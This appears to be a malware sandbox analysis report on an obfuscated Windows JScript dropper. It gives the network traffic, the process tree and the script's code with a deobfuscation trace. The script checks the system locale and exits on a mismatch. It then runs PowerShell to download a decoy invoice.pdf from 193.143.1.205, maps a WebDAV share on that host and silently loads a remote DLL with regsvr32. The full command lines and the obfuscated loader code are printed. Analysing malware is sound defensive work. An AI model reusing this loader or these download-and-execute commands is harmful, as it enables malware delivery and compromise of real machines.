Jan 11, 2025 03:43:27.019805908 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:43:27.019819975 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 03:43:27.019834042 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 03:43:27.019879103 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 03:43:27.019891977 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 03:43:27.019913912 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 03:43:27.019927979 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 11, 2025 03:43:27.020085096 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 11, 2025 03:43:27.020098925 CET	1220	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d Data Ascii: \|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY
Jan 11, 2025 03:43:27.082809925 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a 63 aa 7a 67 af 6c ee 35 c3 aa be cf 86 87 4b 7e e7 94 2b 6d 78 d0 64 61 6a d5 b4 da d1 76 66 4a 68 18 6a 0b cf 98 ee 7a b9 e1 50 d3 43 ef dd 09 b6 e9 8d 5a 99 e6 f5 51 a7 7e a6 2f b7 f1 d5 2c cb 95 24 6a 8e 58 35 f9 2c 37 16 9a Data Ascii: 1000czgl5K~+mxdajvfJhjzPCZQ~/,$jX5,7+Bf\|HQf;^Nk2.~k]4?.5nla8Tb+pkZ-}z:C`ItH&7'ilG?Y27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	193.143.1.205	8888	7352	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:43:28.650460005 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:43:29.452584028 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:43:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:43:22
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22951172482589918451.js"
Imagebase:	0x7ff67bee0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:43:23
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll
Imagebase:	0x7ff6969c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:43:23
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:43:23
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:43:27
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:43:27
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6969c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:43:27
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7daa50000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:43:28
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:43:28
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:43:28
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1376,i,3274789144004917139,15356109860751723325,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function orxrltwmc() {	orxrltwmc() ➔ undefined
1	axzazc = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var gebpjy = this[maxzua + lnrygircs + tzejfa + vqixlubf + zewodba + nxrwv + fzmsyigef + fejddlom] ( this[nxfgr + epafsl + ouspovnnw + tzejfa + usbzc + maxzua + fejddlom][twzoqez + tzejfa + zewodba + lnrygircs + fejddlom + zewodba + phbcpd + hrvev + dxuthmqok + zewodba + ouspovnnw + fejddlom] ( nxfgr + epafsl + ouspovnnw + tzejfa + usbzc + maxzua + fejddlom + xygwh + epafsl + ydskb + zewodba + xuane + xuane ) [gohscw + zewodba + aefiphfwh + gohscw + zewodba + lnrygircs + faykr] ( yzvewjw + xerfaqjdv + ohrgmforf + vdlqksaj + cmsqucabb + twzoqez + ornid + gohscw + gohscw + ohrgmforf + ianpyy + bzhqtivtv + cmsqucabb + ornid + epafsl + ohrgmforf + gohscw + jkoxj + twzoqez + ouwxxoxz + fzmsyigef + fejddlom + tzejfa + ouwxxoxz + xuane + jnpbhuz + mtkhpjydx + lnrygircs + fzmsyigef + zewodba + xuane + jkoxj + nxrwv + fzmsyigef + fejddlom + zewodba + tzejfa + fzmsyigef + lnrygircs + fejddlom + usbzc + ouwxxoxz + fzmsyigef + lnrygircs + xuane + jkoxj + qdkhle + ouwxxoxz + ouspovnnw + lnrygircs + xuane + zewodba ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( opqogzs = 0 ; opqogzs < axzazc[xuane + zewodba + fzmsyigef + aefiphfwh + fejddlom + ydskb] ; ++ opqogzs )
4	{
5	if ( gebpjy == axzazc[opqogzs] )
6	{
7	gebpjy = true;
8	break ;
9	}
10	}
11	if ( gebpjy !== true )
12	this[nxfgr + epafsl + ouspovnnw + tzejfa + usbzc + maxzua + fejddlom][gjixg + zopfs + usbzc + fejddlom] ( );
13	this[nxfgr + epafsl + ouspovnnw + tzejfa + usbzc + maxzua + fejddlom][twzoqez + tzejfa + zewodba + lnrygircs + fejddlom + zewodba + phbcpd + hrvev + dxuthmqok + zewodba + ouspovnnw + fejddlom] ( nxfgr + epafsl + ouspovnnw + tzejfa + usbzc + maxzua + fejddlom + xygwh + epafsl + ydskb + zewodba + xuane + xuane ) [tzejfa + zopfs + fzmsyigef] ( ouspovnnw + oqttrsfdx + faykr + jnpbhuz + bwnnstxjp + ouspovnnw + jnpbhuz + maxzua + ouwxxoxz + dvlqyp + zewodba + tzejfa + vqixlubf + ydskb + zewodba + xuane + xuane + xygwh + zewodba + hoytxba + zewodba + jnpbhuz + upunbrhup + twzoqez + ouwxxoxz + oqttrsfdx + oqttrsfdx + lnrygircs + fzmsyigef + faykr + jnpbhuz + cjvjoipka + nxrwv + fzmsyigef + hcapanrz + ouwxxoxz + zmxducle + zewodba + upunbrhup + nxfgr + zewodba + hrvev + gohscw + zewodba + nvnjqo + zopfs + zewodba + vqixlubf + fejddlom + jnpbhuz + upunbrhup + phbcpd + zopfs + fejddlom + gmmgwrt + usbzc + xuane + zewodba + jnpbhuz + mpluoikp + fejddlom + zewodba + oqttrsfdx + maxzua + mpluoikp + jkoxj + usbzc + fzmsyigef + hcapanrz + ouwxxoxz + usbzc + ouspovnnw + zewodba + xygwh + maxzua + faykr + rmhispc + jnpbhuz + ydskb + fejddlom + fejddlom + maxzua + sjfkptdy + bwnnstxjp + bwnnstxjp + fgfye + jolcm + ykhvmw + xygwh + fgfye + mgtsiuuzb + ykhvmw + xygwh + fgfye + xygwh + ouftybsrh + fljtcvya + rmwzvsftc + bwnnstxjp + usbzc + fzmsyigef + hcapanrz + ouwxxoxz + usbzc + ouspovnnw + zewodba + xygwh + maxzua + ydskb + maxzua + cjvjoipka + hotgbpan + hotgbpan + vqixlubf + fejddlom + lnrygircs + tzejfa + fejddlom + jnpbhuz + mpluoikp + fejddlom + zewodba + oqttrsfdx + maxzua + mpluoikp + jkoxj + usbzc + fzmsyigef + hcapanrz + ouwxxoxz + usbzc + ouspovnnw + zewodba + xygwh + maxzua + faykr + rmhispc + hotgbpan + hotgbpan + ouspovnnw + oqttrsfdx + faykr + jnpbhuz + bwnnstxjp + ouspovnnw + jnpbhuz + fzmsyigef + zewodba + fejddlom + jnpbhuz + zopfs + vqixlubf + zewodba + jnpbhuz + jkoxj + jkoxj + fgfye + jolcm + ykhvmw + xygwh + fgfye + mgtsiuuzb + ykhvmw + xygwh + fgfye + xygwh + ouftybsrh + fljtcvya + rmwzvsftc + awhaldbby + udhkyhioz + udhkyhioz + udhkyhioz + udhkyhioz + jkoxj + faykr + lnrygircs + hcapanrz + dvlqyp + dvlqyp + dvlqyp + tzejfa + ouwxxoxz + ouwxxoxz + fejddlom + jkoxj + hotgbpan + hotgbpan + ouspovnnw + oqttrsfdx + faykr + jnpbhuz + bwnnstxjp + ouspovnnw + jnpbhuz + tzejfa + zewodba + aefiphfwh + vqixlubf + hcapanrz + tzejfa + ykhvmw + ouftybsrh + jnpbhuz + bwnnstxjp + vqixlubf + jnpbhuz + jkoxj + jkoxj + fgfye + jolcm + ykhvmw + xygwh + fgfye + mgtsiuuzb + ykhvmw + xygwh + fgfye + xygwh + ouftybsrh + fljtcvya + rmwzvsftc + awhaldbby + udhkyhioz + udhkyhioz + udhkyhioz + udhkyhioz + jkoxj + faykr + lnrygircs + hcapanrz + dvlqyp + dvlqyp + dvlqyp + tzejfa + ouwxxoxz + ouwxxoxz + fejddlom + jkoxj + ykhvmw + fljtcvya + funrkyeyv + ouftybsrh + ouftybsrh + ykhvmw + rmwzvsftc + ykhvmw + suqabx + fgfye + mgtsiuuzb + rmwzvsftc + fljtcvya + udhkyhioz + xygwh + faykr + xuane + xuane, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll",0,false) ➔ 0
14	}
15	faykr = "w";
16	faykr = "c";
17	faykr = "M";
18	faykr = "f";
19	faykr = "p";
20	faykr = "F";
21	faykr = "v";
22	faykr = "x";
23	faykr = "G";
24	faykr = "C";
25	faykr = "w";
26	faykr = "p";
27	faykr = "p";
28	faykr = "H";
29	faykr = "h";
30	faykr = "h";
31	faykr = "k";
32	faykr = "s";
33	faykr = "P";
34	faykr = "u";
35	faykr = "c";
36	faykr = "m";
37	faykr = "H";
38	faykr = "s";
39	faykr = "x";
40	faykr = "t";
41	faykr = "w";
42	faykr = "d";
43	gohscw = "c";
44	gohscw = "D";
45	gohscw = "a";
46	gohscw = "R";
47	qdkhle = "Z";
48	qdkhle = "K";
49	qdkhle = "L";
50	qdkhle = "S";
51	qdkhle = "O";
52	qdkhle = "L";
53	mpluoikp = "%";
54	hrvev = "y";
55	hrvev = "I";
56	hrvev = "z";
57	hrvev = "u";
58	hrvev = "f";
59	hrvev = "C";
60	hrvev = "S";
61	hrvev = "q";
62	hrvev = "w";
63	hrvev = "z";
64	hrvev = "u";
65	hrvev = "b";
66	fzmsyigef = "I";
67	fzmsyigef = "c";
68	fzmsyigef = "D";
69	fzmsyigef = "P";
70	fzmsyigef = "z";
71	fzmsyigef = "J";
72	fzmsyigef = "H";
73	fzmsyigef = "E";
74	fzmsyigef = "g";
75	fzmsyigef = "s";
76	fzmsyigef = "Z";
77	fzmsyigef = "L";
78	fzmsyigef = "d";
79	fzmsyigef = "k";
80	fzmsyigef = "i";
81	fzmsyigef = "T";
82	fzmsyigef = "x";
83	fzmsyigef = "K";
84	fzmsyigef = "Z";
85	fzmsyigef = "K";
86	fzmsyigef = "c";
87	fzmsyigef = "I";
88	fzmsyigef = "Y";
89	fzmsyigef = "r";
90	fzmsyigef = "j";
91	fzmsyigef = "n";
92	zmxducle = "j";
93	zmxducle = "t";
94	zmxducle = "U";
95	zmxducle = "P";
96	zmxducle = "C";
97	zmxducle = "d";
98	zmxducle = "l";
99	zmxducle = "u";
100	zmxducle = "x";
101	zmxducle = "V";
102	zmxducle = "k";
103	nxfgr = "N";
104	nxfgr = "s";
105	nxfgr = "E";
106	nxfgr = "N";
107	nxfgr = "k";
108	nxfgr = "I";
109	nxfgr = "P";
110	nxfgr = "Q";
111	nxfgr = "o";
112	nxfgr = "D";
113	nxfgr = "z";
114	nxfgr = "u";
115	nxfgr = "E";
116	nxfgr = "H";
117	nxfgr = "u";
118	nxfgr = "F";
119	nxfgr = "z";
120	nxfgr = "b";
121	nxfgr = "G";
122	nxfgr = "o";
123	nxfgr = "b";
124	nxfgr = "E";
125	nxfgr = "L";
126	nxfgr = "b";
127	nxfgr = "q";
128	nxfgr = "q";
129	nxfgr = "j";
130	nxfgr = "h";
131	nxfgr = "v";
132	nxfgr = "D";
133	nxfgr = "B";
134	nxfgr = "W";
135	zopfs = "w";
136	zopfs = "c";
137	zopfs = "J";
138	zopfs = "t";
139	zopfs = "i";
140	zopfs = "I";
141	zopfs = "m";
142	zopfs = "q";
143	zopfs = "I";
144	zopfs = "T";
145	zopfs = "A";
146	zopfs = "w";
147	zopfs = "t";
148	zopfs = "F";
149	zopfs = "d";
150	zopfs = "l";
151	zopfs = "S";
152	zopfs = "f";
153	zopfs = "J";
154	zopfs = "T";
155	zopfs = "t";
156	zopfs = "y";
157	zopfs = "T";
158	zopfs = "T";
159	zopfs = "f";
160	zopfs = "S";
161	zopfs = "j";
162	zopfs = "u";
163	ianpyy = "Z";
164	ianpyy = "R";
165	ianpyy = "D";
166	ianpyy = "g";
167	ianpyy = "z";
168	ianpyy = "n";
169	ianpyy = "P";
170	ianpyy = "f";
171	ianpyy = "Y";
172	ianpyy = "B";
173	ianpyy = "f";
174	ianpyy = "r";
175	ianpyy = "Y";
176	ianpyy = "p";
177	ianpyy = "e";
178	ianpyy = "W";
179	ianpyy = "X";
180	ianpyy = "i";
181	ianpyy = "Z";
182	ianpyy = "K";
183	ianpyy = "X";
184	ianpyy = "v";
185	ianpyy = "f";
186	ianpyy = "X";
187	ianpyy = "N";
188	ouftybsrh = "C";
189	ouftybsrh = "D";
190	ouftybsrh = "r";
191	ouftybsrh = "F";
192	ouftybsrh = "r";
193	ouftybsrh = "j";
194	ouftybsrh = "2";
195	ouwxxoxz = "p";
196	ouwxxoxz = "g";
197	ouwxxoxz = "P";
198	ouwxxoxz = "K";
199	ouwxxoxz = "y";
200	ouwxxoxz = "z";
201	ouwxxoxz = "o";
202	ouwxxoxz = "j";
203	ouwxxoxz = "i";
204	ouwxxoxz = "O";
205	ouwxxoxz = "u";
206	ouwxxoxz = "P";
207	ouwxxoxz = "o";
208	ouwxxoxz = "q";
209	ouwxxoxz = "E";
210	ouwxxoxz = "O";
211	ouwxxoxz = "p";
212	ouwxxoxz = "B";
213	ouwxxoxz = "v";
214	ouwxxoxz = "c";
215	ouwxxoxz = "w";
216	ouwxxoxz = "j";
217	ouwxxoxz = "j";
218	ouwxxoxz = "r";
219	ouwxxoxz = "m";
220	ouwxxoxz = "F";
221	ouwxxoxz = "Z";
222	ouwxxoxz = "I";
223	ouwxxoxz = "D";
224	ouwxxoxz = "C";
225	ouwxxoxz = "y";
226	ouwxxoxz = "M";
227	ouwxxoxz = "S";
228	ouwxxoxz = "v";
229	ouwxxoxz = "N";
230	ouwxxoxz = "W";
231	ouwxxoxz = "o";
232	zewodba = "w";
233	zewodba = "S";
234	zewodba = "v";
235	zewodba = "n";
236	zewodba = "Q";
237	zewodba = "y";
238	zewodba = "z";
239	zewodba = "c";
240	zewodba = "j";
241	zewodba = "V";
242	zewodba = "Q";
243	zewodba = "a";
244	zewodba = "g";
245	zewodba = "e";
246	udhkyhioz = "S";
247	udhkyhioz = "s";
248	udhkyhioz = "m";
249	udhkyhioz = "m";
250	udhkyhioz = "B";
251	udhkyhioz = "F";
252	udhkyhioz = "M";
253	udhkyhioz = "V";
254	udhkyhioz = "e";
255	udhkyhioz = "Y";
256	udhkyhioz = "e";
257	udhkyhioz = "T";
258	udhkyhioz = "M";
259	udhkyhioz = "b";
260	udhkyhioz = "e";
261	udhkyhioz = "H";
262	udhkyhioz = "f";
263	udhkyhioz = "B";
264	udhkyhioz = "s";
265	udhkyhioz = "y";
266	udhkyhioz = "8";
267	twzoqez = "a";
268	twzoqez = "Z";
269	twzoqez = "P";
270	twzoqez = "b";
271	twzoqez = "G";
272	twzoqez = "d";
273	twzoqez = "i";
274	twzoqez = "C";
275	twzoqez = "U";
276	twzoqez = "r";
277	twzoqez = "p";
278	twzoqez = "w";
279	twzoqez = "C";
280	phbcpd = "o";
281	phbcpd = "P";
282	phbcpd = "l";
283	phbcpd = "S";
284	phbcpd = "Z";
285	phbcpd = "F";
286	phbcpd = "D";
287	phbcpd = "m";
288	phbcpd = "l";
289	phbcpd = "l";
290	phbcpd = "g";
291	phbcpd = "a";
292	phbcpd = "d";
293	phbcpd = "F";
294	phbcpd = "j";
295	phbcpd = "f";
296	phbcpd = "G";
297	phbcpd = "Z";
298	phbcpd = "p";
299	phbcpd = "s";
300	phbcpd = "z";
301	phbcpd = "x";
302	phbcpd = "D";
303	phbcpd = "W";
304	phbcpd = "S";
305	phbcpd = "j";
306	phbcpd = "s";
307	phbcpd = "M";
308	phbcpd = "O";
309	xygwh = "l";
310	xygwh = "z";
311	xygwh = "U";
312	xygwh = "p";
313	xygwh = "P";
314	xygwh = "d";
315	xygwh = "Q";
316	xygwh = "x";
317	xygwh = "Z";
318	xygwh = "b";
319	xygwh = "z";
320	xygwh = "z";
321	xygwh = "u";
322	xygwh = "g";
323	xygwh = "S";
324	xygwh = "x";
325	xygwh = "T";
326	xygwh = "Y";
327	xygwh = "X";
328	xygwh = "A";
329	xygwh = "f";
330	xygwh = "W";
331	xygwh = "X";
332	xygwh = "n";
333	xygwh = ".";
334	ornid = "u";
335	ornid = "D";
336	ornid = "Y";
337	ornid = "D";
338	ornid = "J";
339	ornid = "q";
340	ornid = "R";
341	ornid = "u";
342	ornid = "v";
343	ornid = "k";
344	ornid = "D";
345	ornid = "F";
346	ornid = "a";
347	ornid = "i";
348	ornid = "H";
349	ornid = "o";
350	ornid = "r";
351	ornid = "N";
352	ornid = "R";
353	ornid = "K";
354	ornid = "Z";
355	ornid = "p";
356	ornid = "x";
357	ornid = "t";
358	ornid = "Y";
359	ornid = "i";
360	ornid = "z";
361	ornid = "d";
362	ornid = "k";
363	ornid = "U";
364	fljtcvya = "T";
365	fljtcvya = "e";
366	fljtcvya = "k";
367	fljtcvya = "x";
368	fljtcvya = "C";
369	fljtcvya = "s";
370	fljtcvya = "O";
371	fljtcvya = "C";
372	fljtcvya = "W";
373	fljtcvya = "Y";
374	fljtcvya = "B";
375	fljtcvya = "O";
376	fljtcvya = "J";
377	fljtcvya = "0";
378	sjfkptdy = "i";
379	sjfkptdy = "z";
380	sjfkptdy = "Y";
381	sjfkptdy = "r";
382	sjfkptdy = "J";
383	sjfkptdy = "b";
384	sjfkptdy = "c";
385	sjfkptdy = "r";
386	sjfkptdy = "a";
387	sjfkptdy = "O";
388	sjfkptdy = "M";
389	sjfkptdy = "R";
390	sjfkptdy = ":";
391	jolcm = "O";
392	jolcm = "h";
393	jolcm = "r";
394	jolcm = "i";
395	jolcm = "F";
396	jolcm = "j";
397	jolcm = "s";
398	jolcm = "E";
399	jolcm = "P";
400	jolcm = "b";
401	jolcm = "f";
402	jolcm = "p";
403	jolcm = "R";
404	jolcm = "A";
405	jolcm = "o";
406	jolcm = "9";
407	oqttrsfdx = "R";
408	oqttrsfdx = "W";
409	oqttrsfdx = "M";
410	oqttrsfdx = "Z";
411	oqttrsfdx = "k";
412	oqttrsfdx = "k";
413	oqttrsfdx = "h";
414	oqttrsfdx = "w";
415	oqttrsfdx = "m";
416	oqttrsfdx = "J";
417	oqttrsfdx = "n";
418	oqttrsfdx = "q";
419	oqttrsfdx = "J";
420	oqttrsfdx = "g";
421	oqttrsfdx = "J";
422	oqttrsfdx = "O";
423	oqttrsfdx = "p";
424	oqttrsfdx = "G";
425	oqttrsfdx = "C";
426	oqttrsfdx = "O";
427	oqttrsfdx = "w";
428	oqttrsfdx = "A";
429	oqttrsfdx = "C";
430	oqttrsfdx = "c";
431	oqttrsfdx = "R";
432	oqttrsfdx = "k";
433	oqttrsfdx = "m";
434	dvlqyp = "B";
435	dvlqyp = "b";
436	dvlqyp = "f";
437	dvlqyp = "w";
438	xerfaqjdv = "Z";
439	xerfaqjdv = "A";
440	xerfaqjdv = "m";
441	xerfaqjdv = "b";
442	xerfaqjdv = "w";
